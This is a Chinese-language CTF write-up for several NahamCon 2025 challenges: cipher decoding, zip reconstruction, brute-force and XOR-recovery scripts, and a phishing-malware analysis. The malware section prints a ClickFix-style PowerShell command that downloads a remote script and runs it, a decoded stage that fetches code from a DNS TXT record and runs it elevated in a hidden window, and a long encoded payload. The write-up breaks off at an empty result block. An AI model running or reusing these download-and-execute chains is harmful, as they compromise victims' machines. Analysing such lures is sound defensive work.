NahamCon CTF 2025

Warmups

Naham-Commencement 2025

Challenge

Author: @HuskyHacks

Welcome, Naham-Hacker Class of 2025! This challenge is your official CTF opening ceremony. Enjoy the CTF, play fair, play smart, and get those flags! BEGIN! 📯

(True story: NahamSec originally contracted me to built the actual NahamCon site. I showed this to him as a prototype and he said “you know, let’s actually move you to the CTF dev team…”)

NOTE, we have noticed an odd gimmick with this challenge – if you seem to repeatedly see a message An error occurred while processing your request., try changing how you connect to the Internet in case any provider oddities are getting in the way.

Solution

前端校验账号密码,所以检查 js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
function a(t) {
let r = '';
for (let i = 0; i < t.length; i++) {
const c = t[i];
if (/[a-zA-Z]/.test(c)) {
const d = c.charCodeAt(0);
const o = (d >= 97) ? 97 : 65;
const x = (d - o + 16) % 26 + o;
r += String.fromCharCode(x);
} else {
r += c;
}
}
return r;
}

function b(t, k) {
let r = '';
let j = 0;
for (let i = 0; i < t.length; i++) {
const c = t[i];
if (/[a-zA-Z]/.test(c)) {
const u = c === c.toUpperCase();
const l = c.toLowerCase();
const d = l.charCodeAt(0) - 97;
const m = k[j % k.length].toLowerCase();
const n = m.charCodeAt(0) - 97;
const e = (d + n) % 26;
let f = String.fromCharCode(e + 97);
if (u) {
f = f.toUpperCase();
}
r += f;
j++;
} else {
r += c;
}
}
return r;
}

function c(s) {
return btoa(s);
}

document.addEventListener('DOMContentLoaded', function () {
const x1 = "dqxqcius";
const x2 = "YeaTtgUnzezBqiwa2025";
const x3 = "ZHF4cWNpdXM=";
const k = "nahamcon";


const f = document.getElementById('loginForm');
const u = document.getElementById('username');
const p = document.getElementById('password');
const s = document.getElementById('spinner');
const d = document.getElementById('result');

f.addEventListener('submit', function (e) {
e.preventDefault();

const q = u.value;
const w = p.value;


const q1 = a(q);

const w1 = b(w, k);

if (q1 !== x1 || w1 !== x2) {
d.textContent = "Access denied. Client-side validation failed. Try again.";
d.className = "error";
d.style.display = "block";
return;
}

s.style.display = "block";
d.style.display = "none";

const g = new FormData();
g.append('username', q);
g.append('password', w);

fetch('/login', {
method: 'POST',
body: g
})
.then(h => h.json())
.then(z => {
s.style.display = "none";
d.style.display = "block";

if (z.success) {
console.log("🎉 Server authentication successful!");
d.innerHTML = `
<p>${z.message}</p>
<p class="flag">🙌🎉${z.flag}🎉🙌</p>
`;
d.className = "success";
} else {
console.log("❌ Server authentication failed");
d.textContent = z.message;
d.className = "error";
}
})
.catch(err => {
console.error("🚨 Network error:", err);
s.style.display = "none";
d.style.display = "block";
d.textContent = "An error occurred while processing your request.";
d.className = "error";
});
});

});

观察代码发现 username 和 password 分别是凯撒加密和维吉尼亚加密,用厨子解一下就行

NahamConCTF2025-1

NahamConCTF2025-2

NahamConCTF2025-3

1
flag{c419dfe3a0a621edc0150a133bb7a34c}

Screenshot

Challenge

Author: @John Hammond

Oh shoot! I accidentally took a screenshot just as I accidentally opened the dump of a flag.zip file in a text editor! Whoopsies, what a crazy accidental accident that just accidented!

Well anyway, I think I remember the password was just password!

NahamConCTF2025-4

Solution

用 Python 输出为.zip 压缩包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
data = '''504b 0304 3300 0100 6300 2f02 b55a 0000
0000 4300 0000 2700 0000 0800 0b00 666c
6167 2e74 7874 0199 0700 0200 4145 0300
003d 42ff d1b3 5f95 0314 24f6 8b65 c3f5
7669 f14e 8df0 003f e240 b3ac 3364 859e
4c2d bc3c 36f2 d4ac c403 7613 85af e4e3
f90f bd29 d91b 614b a2c6 efde 11b7 1bcc
907a 72ed 504b 0102 3f03 3300 0100 6300
2f02 b55a 0000 0000 4300 0000 2700 0000
0800 2f00 0000 0000 0000 2080 b481 0000
0000 666c 6167 2e74 7874 0a00 2000 0000
0000 0100 1800 8213 8543 07ca db01 0000
0000 0000 0000 0000 0000 0000 0000 0199
0700 0200 4145 0300 0050 4b05 0600 0000
0001 0001 0065 0000 0074 0000 00'''

binary_data = bytearray()

for line in data.splitlines():
hex_str = line.replace(' ', '')
for i in range(0, len(hex_str), 2):
byte_str = hex_str[i:i+2]
binary_data.append(int(byte_str, 16))

with open("flag.zip", "wb") as f:
f.write(binary_data)

根据题目描述可知解压密码是 password,解压得到 flag

1
flag{907e5bb257cd5fc818e88a13622f3d46}

The Oddyssey

Challenge

Author: @HuskyHacks

Remember reading The Odyssey in high school? Well I sure don’t, because I never did my homework. But I really wanted to get back into the classics and give it a fair shake. The problem is I have a fourth grade reading level and that book is waaaaaay too long.

To solve this, I made a server that reads out tiny chunks of The Odyssey, one at a time, so I can take my time reading it! How is Odysseus gonna get himself out of this one?

Solution

自动翻页,正则匹配 flag 并输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import re
import time

r = remote("challenge.nahamcon.com", 32225)

while True:
data = r.recv(timeout=1).decode('utf-8', errors='ignore')
print(data)

flag_match = re.search(r'flag\{.*?\}', data)
if flag_match:
print(flag_match.group(0))
break

if "Press enter to continue..." in data:
r.send(b"\n")

time.sleep(0.1)

NahamConCTF2025-5

1
flag{0b51aae6b09b85d1bb13b0b8c3003a6a}

Free Flags!

Challenge

Author: @John Hammond

WOW!! Look at all these free flags!!

But… wait a second… only one of them is right??

NOTE, bruteforcing flag submissions is still not permitted. I will put a “max attempts” limit on this challenge at 1:00 PM Pacific to stop participants from automating submissions. There is only one correct flag, you can find a needle in a haystack if you really know what you are looking for.

Solution

从规则找到如下内容:

1
2
Flag Format
Flags for this competition will follow the format: flag\{[0-9a-f]{32}\}. That means a flag{} wrapper with a 32-character lowercase hex string inside—basically something that looks like an MD5 hash. And yes, there may or may not be one right here on this page...

正则匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import re

file_path = r"E:\Downloads\free_flags.txt"
pattern = r'flag\{[0-9a-f]{32}\}'

matches = []

with open(file_path, 'r', encoding='utf-8') as file:
for line in file:
found = re.findall(pattern, line)
matches.extend(found)

for match in matches:
print(match)
1
flag{ae6b6fb0686ec594652afe9eb6088167}

Miscellaneous

The Martian

Challenge

Author: @John Hammond

Wow, this file looks like it’s from outta this world!

Solution

用 binwalk 提取出多个.bz2 的压缩包文件,解压 34.bz2 得到 34,给它加上.jpg 后缀得到含有 flag 的图像

NahamConCTF2025-6

1
flag{0db031ac265b3e6538aff0d9f456004f}

Flagdle

Challenge

Author: @HuskyHacks

Wordle? I sleep. Too easy.

32 character Wordle? Now we’re cooking with gas!

Solution

爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
import time

def solve_flag_guesser():
url = "http://challenge.nahamcon.com:31230/guess"
charset = "abcdef0123456789"
flag_content_length = 32

known_flag_chars = ['_'] * flag_content_length

print(f"[*] Starting flag brute-force against: {url}")
print(f"[*] Character set: '{charset}'")
print(f"[*] Expected flag content length: {flag_content_length}")
print("-" * 40)

for char_to_test in charset:
guess_content = char_to_test * flag_content_length
full_guess_payload = f"flag{{{guess_content}}}"

print(f"\n[+] Testing with character: '{char_to_test}'")
print(f" Sending guess: {full_guess_payload}")

response = requests.post(url, json={"guess": full_guess_payload}, timeout=15)
data = response.json()

feedback_squares = data['result']
print(f" Received feedback: {feedback_squares}")

for i in range(min(len(feedback_squares), flag_content_length)):
if feedback_squares[i] == '🟩':
if known_flag_chars[i] == '_':
known_flag_chars[i] = char_to_test
print(f" [*] Found: Position {i} is '{char_to_test}'")
elif known_flag_chars[i] != char_to_test:
print(f" [!] Warning: Position {i} was already determined as '{known_flag_chars[i]}', "
f"but feedback for '{char_to_test}' also shows green. "
f"Keeping the first found character: '{known_flag_chars[i]}'.")

current_progress = "".join(known_flag_chars)
print(f" Current flag status: flag{{{current_progress}}}")

time.sleep(0.1)

print("-" * 40)
print("\n[*] Brute-force complete.")

final_flag_content = "".join(known_flag_chars)
final_flag = f"flag{{{final_flag_content}}}"

if '_' in final_flag_content:
unknown_indices = [i for i, char_val in enumerate(known_flag_chars) if char_val == '_']
print(f"[!] Warning: Some characters in the flag could not be determined.")
print(f" Unknown positions (0-indexed): {unknown_indices}")

print(f"\n🏁 Reconstructed Flag: {final_flag}")
return final_flag

if __name__ == '__main__':
retrieved_flag = solve_flag_guesser()

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
[*] Starting flag brute-force against: http://challenge.nahamcon.com:31230/guess
[*] Character set: 'abcdef0123456789'
[*] Expected flag content length: 32
----------------------------------------

[+] Testing with character: 'a'
Sending guess: flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛
[*] Found: Position 8 is 'a'
[*] Found: Position 17 is 'a'
Current flag status: flag{________a________a______________}

[+] Testing with character: 'b'
Sending guess: flag{bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb}
Received feedback: 🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛
[*] Found: Position 0 is 'b'
[*] Found: Position 12 is 'b'
[*] Found: Position 16 is 'b'
[*] Found: Position 23 is 'b'
Current flag status: flag{b_______a___b___ba_____b________}

[+] Testing with character: 'c'
Sending guess: flag{cccccccccccccccccccccccccccccccc}
Received feedback: ⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛
[*] Found: Position 2 is 'c'
[*] Found: Position 14 is 'c'
[*] Found: Position 30 is 'c'
Current flag status: flag{b_c_____a___b_c_ba_____b______c_}

[+] Testing with character: 'd'
Sending guess: flag{dddddddddddddddddddddddddddddddd}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛
[*] Found: Position 20 is 'd'
[*] Found: Position 26 is 'd'
Current flag status: flag{b_c_____a___b_c_ba__d__b__d___c_}

[+] Testing with character: 'e'
Sending guess: flag{eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee}
Received feedback: ⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛🟩⬛⬛⬛⬛⬛⬛
[*] Found: Position 1 is 'e'
[*] Found: Position 22 is 'e'
[*] Found: Position 25 is 'e'
Current flag status: flag{bec_____a___b_c_ba__d_eb_ed___c_}

[+] Testing with character: 'f'
Sending guess: flag{ffffffffffffffffffffffffffffffff}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛
Current flag status: flag{bec_____a___b_c_ba__d_eb_ed___c_}

[+] Testing with character: '0'
Sending guess: flag{00000000000000000000000000000000}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛
[*] Found: Position 19 is '0'
[*] Found: Position 21 is '0'
Current flag status: flag{bec_____a___b_c_ba_0d0eb_ed___c_}

[+] Testing with character: '1'
Sending guess: flag{11111111111111111111111111111111}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛
[*] Found: Position 10 is '1'
Current flag status: flag{bec_____a_1_b_c_ba_0d0eb_ed___c_}

[+] Testing with character: '2'
Sending guess: flag{22222222222222222222222222222222}
Received feedback: ⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛
[*] Found: Position 4 is '2'
[*] Found: Position 27 is '2'
Current flag status: flag{bec_2___a_1_b_c_ba_0d0eb_ed2__c_}

[+] Testing with character: '3'
Sending guess: flag{33333333333333333333333333333333}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛
Current flag status: flag{bec_2___a_1_b_c_ba_0d0eb_ed2__c_}

[+] Testing with character: '4'
Sending guess: flag{44444444444444444444444444444444}
Received feedback: ⬛⬛⬛🟩⬛🟩⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛
[*] Found: Position 3 is '4'
[*] Found: Position 5 is '4'
[*] Found: Position 11 is '4'
Current flag status: flag{bec424__a_14b_c_ba_0d0eb_ed2__c_}

[+] Testing with character: '5'
Sending guess: flag{55555555555555555555555555555555}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛🟩
[*] Found: Position 7 is '5'
[*] Found: Position 28 is '5'
[*] Found: Position 31 is '5'
Current flag status: flag{bec424_5a_14b_c_ba_0d0eb_ed25_c5}

[+] Testing with character: '6'
Sending guess: flag{66666666666666666666666666666666}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛
[*] Found: Position 9 is '6'
Current flag status: flag{bec424_5a614b_c_ba_0d0eb_ed25_c5}

[+] Testing with character: '7'
Sending guess: flag{77777777777777777777777777777777}
Received feedback: ⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛
[*] Found: Position 6 is '7'
[*] Found: Position 24 is '7'
Current flag status: flag{bec42475a614b_c_ba_0d0eb7ed25_c5}

[+] Testing with character: '8'
Sending guess: flag{88888888888888888888888888888888}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛⬛
[*] Found: Position 18 is '8'
[*] Found: Position 29 is '8'
Current flag status: flag{bec42475a614b_c_ba80d0eb7ed258c5}

[+] Testing with character: '9'
Sending guess: flag{99999999999999999999999999999999}
Received feedback: ⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛🟩⬛🟩⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛⬛
[*] Found: Position 13 is '9'
[*] Found: Position 15 is '9'
Current flag status: flag{bec42475a614b9c9ba80d0eb7ed258c5}
----------------------------------------

[*] Brute-force complete.

🏁 Reconstructed Flag: flag{bec42475a614b9c9ba80d0eb7ed258c5}
1
flag{bec42475a614b9c9ba80d0eb7ed258c5}

Cryptography

Cryptoclock

Challenge

Author: @JohnHammond

Just imagine it, the Cryptoclock!! Just like you’ve seen in the movies, a magical power to be able to manipulate the world’s numbers across time!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python3
import socket
import threading
import time
import random
import os
from typing import Optional

def encrypt(data: bytes, key: bytes) -> bytes:
"""Encrypt data using XOR with the given key."""
return bytes(a ^ b for a, b in zip(data, key))

def generate_key(length: int, seed: Optional[float] = None) -> bytes:
"""Generate a random key of given length using the provided seed."""
if seed is not None:
random.seed(int(seed))
return bytes(random.randint(0, 255) for _ in range(length))

def handle_client(client_socket: socket.socket):
"""Handle individual client connections."""
try:
with open('flag.txt', 'rb') as f:
flag = f.read().strip()

current_time = int(time.time())
key = generate_key(len(flag), current_time)

encrypted_flag = encrypt(flag, key)

welcome_msg = b"Welcome to Cryptoclock!\n"
welcome_msg += b"The encrypted flag is: " + encrypted_flag.hex().encode() + b"\n"
welcome_msg += b"Enter text to encrypt (or 'quit' to exit):\n"
client_socket.send(welcome_msg)

while True:
data = client_socket.recv(1024).strip()
if not data:
break

if data.lower() == b'quit':
break

key = generate_key(len(data), current_time)
encrypted_data = encrypt(data, key)

response = b"Encrypted: " + encrypted_data.hex().encode() + b"\n"
client_socket.send(response)

except Exception as e:
print(f"Error handling client: {e}")
finally:
client_socket.close()

def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

server.bind(('0.0.0.0', 1337))
server.listen(5)

print("Server started on port 1337...")

try:
while True:
client_socket, addr = server.accept()
print(f"Accepted connection from {addr}")
client_thread = threading.Thread(target=handle_client, args=(client_socket,))
client_thread.start()
except KeyboardInterrupt:
print("\nShutting down server...")
finally:
server.close()

if __name__ == "__main__":
main()

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

def encrypt(data: bytes, key: bytes) -> bytes:
return bytes(a ^ b for a, b in zip(data, key))

def solve():
HOST = "challenge.nahamcon.com"
PORT = 31721

context.log_level = 'info'

conn = remote(HOST, PORT)

conn.recvuntil(b"The encrypted flag is: ")
encrypted_flag_hex = conn.recvline().strip()
log.info(f"Received encrypted flag (hex): {encrypted_flag_hex.decode()}")

conn.recvuntil(b"Enter text to encrypt (or 'quit' to exit):\n")

encrypted_flag_bytes = bytes.fromhex(encrypted_flag_hex.decode())
flag_length = len(encrypted_flag_bytes)
log.info(f"Determined flag length: {flag_length}")

known_plaintext = b"A" * flag_length
log.info(f"Constructed known plaintext (e.g., 'AAA...'): {known_plaintext[:10]}... ({flag_length} bytes)")

conn.sendline(known_plaintext)
log.info("Sent known plaintext to the server.")

conn.recvuntil(b"Encrypted: ")
encrypted_known_plaintext_hex = conn.recvline().strip()
log.info(f"Received encrypted known plaintext (hex): {encrypted_known_plaintext_hex.decode()}")
encrypted_known_plaintext_bytes = bytes.fromhex(encrypted_known_plaintext_hex.decode())

temp_xor_result = encrypt(encrypted_flag_bytes, encrypted_known_plaintext_bytes)
decrypted_flag = encrypt(temp_xor_result, known_plaintext)

log.success(f"Decrypted flag: {decrypted_flag.decode()}")

conn.close()
log.info("Connection closed.")

if __name__ == "__main__":
solve()
1
2
3
4
5
6
7
8
9
10
11
[x] Opening connection to challenge.nahamcon.com on port 31721
[x] Opening connection to challenge.nahamcon.com on port 31721: Trying 198.18.0.19
[+] Opening connection to challenge.nahamcon.com on port 31721: Done
[*] Received encrypted flag (hex): 29a10dac84eea434f2c642ecd8abd694e309b0fcc04bf54fc9a9cae7479cbb45a58b2303601f
[*] Determined flag length: 38
[*] Constructed known plaintext (e.g., 'AAA...'): b'AAAAAAAAAA'... (38 bytes)
[*] Sent known plaintext to the server.
[*] Received encrypted known plaintext (hex): 0e8c2d8abe9f804181e5629ca1daa7ed9b2b948be439d66cbdd8ee9334e8c23380f955701523
[+] Decrypted flag: flag{0e42ba180089ce6e3bb50e52587d3724}
[*] Closed connection to challenge.nahamcon.com port 31721
[*] Connection closed.
1
flag{0e42ba180089ce6e3bb50e52587d3724}

Forensics

Puzzle Pieces

Challenge

Author: Nordgaren

Well, I accidentally put the important data into a bunch of executables.

It was fine, until my cat stepped on my keyboard and renamed them all!

Can you help me recover the important data?

Solution

逐个用 010editor 打开,在 zjav5i20Uqdp.exe 搜索到关键词 flag

先按修改时间把程序从早到晚排序

逐个用 IDA 打开,按 Alt+T 搜索 off_1400193A8,将后面的字符串记下,得到如下结果

zjav5i20Uqdp.exe -> flag\n
RSL30YP.exe -> {512\n
lWmDFh.exe -> faff\n
GM1z8JCY.exe -> 5e7d\n
tETZLNWBfNDS.exe -> 89c9\n
G6tE1a.exe -> b8bd\n
2w7JdChEy.exe -> 4b95\n
VUlyMSY2V5R57.exe -> 17af\n
NUcrnJqvd4bYdL.exe -> 9bfa\n
bh9CdGYivv.exe -> a}

连起来得到 flag

1
flag{512faff5e7d89c9b8bd4b9517af9bfaa}

Malware

Verification Clarification

Challenge

Author: @resume

One of our users received an email asking them to provide extra verification to download a zip file, but they weren’t expecting to receive any files.

Can you look into the verification link to see if it’s…phishy?

NOTE, if you visit this link below and it does not respond, try to make a connection in a different way. The challenge is functional and you *should* get a response.

Captcha.zip

WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.

Solution

NahamConCTF2025-7

钓鱼网站,点击验证码后会给出下面的提示

NahamConCTF2025-8

此时剪贴板会被写入

1
powershell -NoP -Ep Bypass -c irm captcha.zip/verify | iex # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3511''

让我们逐个参数进行分析。

powershell :启动 PowerShell 解释器。

- NoP:即 - NoProfile ,表示 不加载用户配置文件(profile) ,避免执行启动脚本。

- Ep Bypass- ExecutionPolicy Bypass ,设置执行策略为 Bypass不阻止任何脚本运行 。默认情况下,PowerShell 会阻止运行未签名的脚本,使用 Bypass 可以绕过这种限制。

-c:即 -Command,后面跟着的是要执行的 PowerShell 命令字符串,在此处就是 "irm captcha.zip/verify | iex"

irm captcha.zip/verify

  • irmInvoke-RestMethod 的别名,从 URL captcha.zip/verify 获取内容

  • 管道符 | 把上一步的结果传递给下一个命令

  • iexInvoke-Expression 的别名,把接收到的内容当作 PowerShell 命令来执行

# ✅ ''I am not a robot - reCAPTCHA Verification ID: 3511'':这是注释,并不会被执行,用于混淆视听的。

总结:这条命令的作用是启动一个无配置、允许执行任意脚本的 PowerShell 子进程,从 captcha.zip/verify 下载内容并直接执行。

因此下一步要做的是从 captcha.zip/verify 下载内容进行分析。

运行下面的指令将恶意脚本下载到桌面而不运行。

1
powershell -NoP -Ep Bypass -c "irm captcha.zip/verify | Out-File ([Environment]::GetFolderPath('Desktop') + '\malicious_script.ps1')"

得到的 malicious_script.ps1 内容如下:

1
2
3
$d='aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoUmVzb2x2ZS1EbnNOYW1lIC1OYW1lIDVnbWx3LnB5cmNoZGF0YS5jb20gLVR5cGUgVFhUKS5TdHJpbmdzIC1qb2luICcnKSkp'
$dn=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))
(New-Object -ComObject Shell.Application).ShellExecute("powershell", "-NoP -Ep Bypass -c $dn", "", "runas", 0)

$d 存储的是一段被 base64 编码后的字符串。

$dn 存储的是 $d 解码后的结果,解码过程见 CyberChef,解码结果如下:

1
iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Name 5gmlw.pyrchdata.com -Type TXT).Strings -join '')))

(New-Object -ComObject Shell.Application).ShellExecute("powershell", "-NoP -Ep Bypass -c $dn", "", "runas", 0) 创建了一个 COM 对象 Shell.Application,使用.ShellExecute() 方法运行一个新的 PowerShell 进程:

  • "powershell":调用 PowerShell
  • "-NoP -Ep Bypass -c $dn":参数中 -c 表示执行 $dn 中的内容
  • "runas":以管理员权限运行
  • 0:隐藏窗口

接下来分析 $dn 中的内容。

iex (...)Invoke-Expression ,把接收到的内容当作 PowerShell 命令来执行。

[Text.Encoding]::UTF8.GetString(...):将字节数组转换为 UTF8 格式的字符串。

[Convert]::FromBase64String(...):将拼接后的 Base64 字符串转换为字节数组(byte array)。

Resolve-DnsName -Name 5gmlw.pyrchdata.com -Type TXT:使用 Resolve-DnsName 查询域名 5gmlw.pyrchdata.comTXT 类型 DNS 记录

.Strings -join '':将所有返回的 TXT 字符串拼接成一个完整的 Base64 编码字符串。

总结:从 DNS 的 TXT 记录中获取一段 Base64 编码的内容,解码后直接执行。

因此下一步要做的是分析 5gmlw.pyrchdata.com 的 TXT 记录。

使用在线工具 TXT 记录查询进行查询,得到如下结果:

NahamConCTF2025-9

1
KG5Fdy1vQmpFQ1QgIHNZc1RFbS5pby5jT21QUkVzU0lPTi5ERUZMQVRlc1RyRUFNKCBbSU8ubUVNT3JZc3RSZUFNXSBbU3lTdEVNLmNPbnZlcnRdOjpGck9tYmFTRTY0c3RyaU5HKCAnVFZScmM5bzZFUDBybW43Qm5tSVhrcEJKNHVFRDVkR1FHeDVqQ0tUTzVJTWZBcFRhbGtlV3VTUzkvZTkzand5a3pHaDNMYTJPemg2dFlOYUw0dHZoNGZYdUx1dnAvbTY0c05nWDI3NitmUFY3OS8yWHB0MXB0ZXZ3YSt2MkdMUlBVeFpqdzM3dnNSajZEbU5YcHkwTi8zclJPTS9mbnBFdTJpZWtxNXRqY0hPRXRJWnhMeTI0SHp2TWJ0aU5ydzNiSnBCdWQ5dW51S0F4ZmljVDAvaFlYZnpjUDl3L2lWNy9rVDVGaTh6OUpCME5acjhlM2dMNjZQd2FCS2xQd1RLNEl0dWpRV3ZCZXBJR0g1TnM5emJaMGN6MzViUVZmMHd1S1N3dnNXdDN5TWdHQWp0cTRIajlzd3l5c1h6NkVZblJPbndmMFdTMmFuWElyUVBkdVlqZTB5eXBWc01rbmFhejY5YUk0blZVM1daeEVlVFJxTE9JVXY4U2hEdFRNdTAxbFdOdGMrQXJ2Ymk2NW1YNFBaUDRBdTdkM2F0V2ZKOVRLUHN2WkpGS2VSUnAvc085SVQ5YWtubWlSRnBKWkp3UFhYM2dxTktrc3dNWG5tMXBBT3dXbEVYQjg0dUg4MFdBTkZZcXJqbHFERlZJZHE1NENqSkZKdnNPMWlzRlhaWmxpWlM1dzdDbXd0Mml6L2cyckxhZ0ZqNDZyUHhFekVGZmFHR0sydkFCeHozaG1wWU9xK09sazVCTGV0MFFLWkNaZTNTdjVCZHBpaFVhYnNaMStiNkFQSFV5NW5BS3poRElpc0NhRzJLOUJMTnh6aFhmY04rTkRTejNDbWdUOFUxWTV0VTNuTHlNdW1VdWhVWThVOWllQ2xUcVlyZW9pZFNDa0JwR0NtU2ErK2k3NnBTTWMrVUF5UW0rREUvb29tUCtGczJjZjQ4a3AxMkNKQkxtM0Q5L1BGc3hYVW5XUkoyc2FlNllCNjdDM2N3MWRCeXpKdG5XeVY2UXcyalJEdzRjRHkwTCt5UzRxMkVDaDF1NzU2V0E5L1hVd3lNQlpuMFlMMU1zYkNpcWxHYk4yN1lGYmx1cVpTL1VISWtRc0hwTGVxbjJQYUtZaThyVERBSkxHZjArOXc0UUV5SDM4RURZNEdqU2xSbXhkYWhMaXRLb0t1Z21BUUpRb29ETnJMa3lmTWdRT0d2T21kSlVNWlg3Wk9acEVwNUdjMnAwTkZuRDA1cjFXVzVJaGVMNlF5clVyTEhjeUFqb0EvK0x5dkZQd1JCNnRmSHFqOTJWdURSMGpyYlNTcHBHSDZQV2RJRDM0dGt6bG1KV1JtY0ZselFqSStJRGozNUNBWFV0ZUdGOFc3Y1JoSUdnSldxQm1xRGluMnBnK1lra1ptSngwZ3Q0aHFHaEJ4Nm0vOTF6WktqaUhHSmJvUEhHYVUzMTl6TXJ5ekNOQVhic2drOUlpSSsrODBvZWk3M2lRQ2drVVRCdDV2Sk02THp5ajYwTFJ2VG5VVmJlc1pYTm82YnZBczhGajlxeUxQYk14K3dMdGFaTHZkdFE0KzM5VXN2SDRVZzNtTzA4U0RGdFVNRCtZK1BwU3Y3REhmNWNLRjR1eG5MNlB3PT0nKSAsIFtJTy5jT21QUmVTU0lvTi5jb01wckVTc2lvbm1vZEVdOjpEZWNvbVBSRXNzKSB8IGZvUkVhQ0ggeyBuRXctb0JqRUNUICBpTy5zVFJFYW1SRUFkZXIoJF8gLCBbdEV4VC5FTkNPZGlOR106OkFzY0lpICkgfXxmb3JlYUNoIHskXy5yRWFkdE9FbmQoICkgfSkgfCYoICRTSGVsTGlEWzFdKyRTSEVMTElEWzEzXSsnWCcp

解码过程见 CyberChef,结果如下:

1
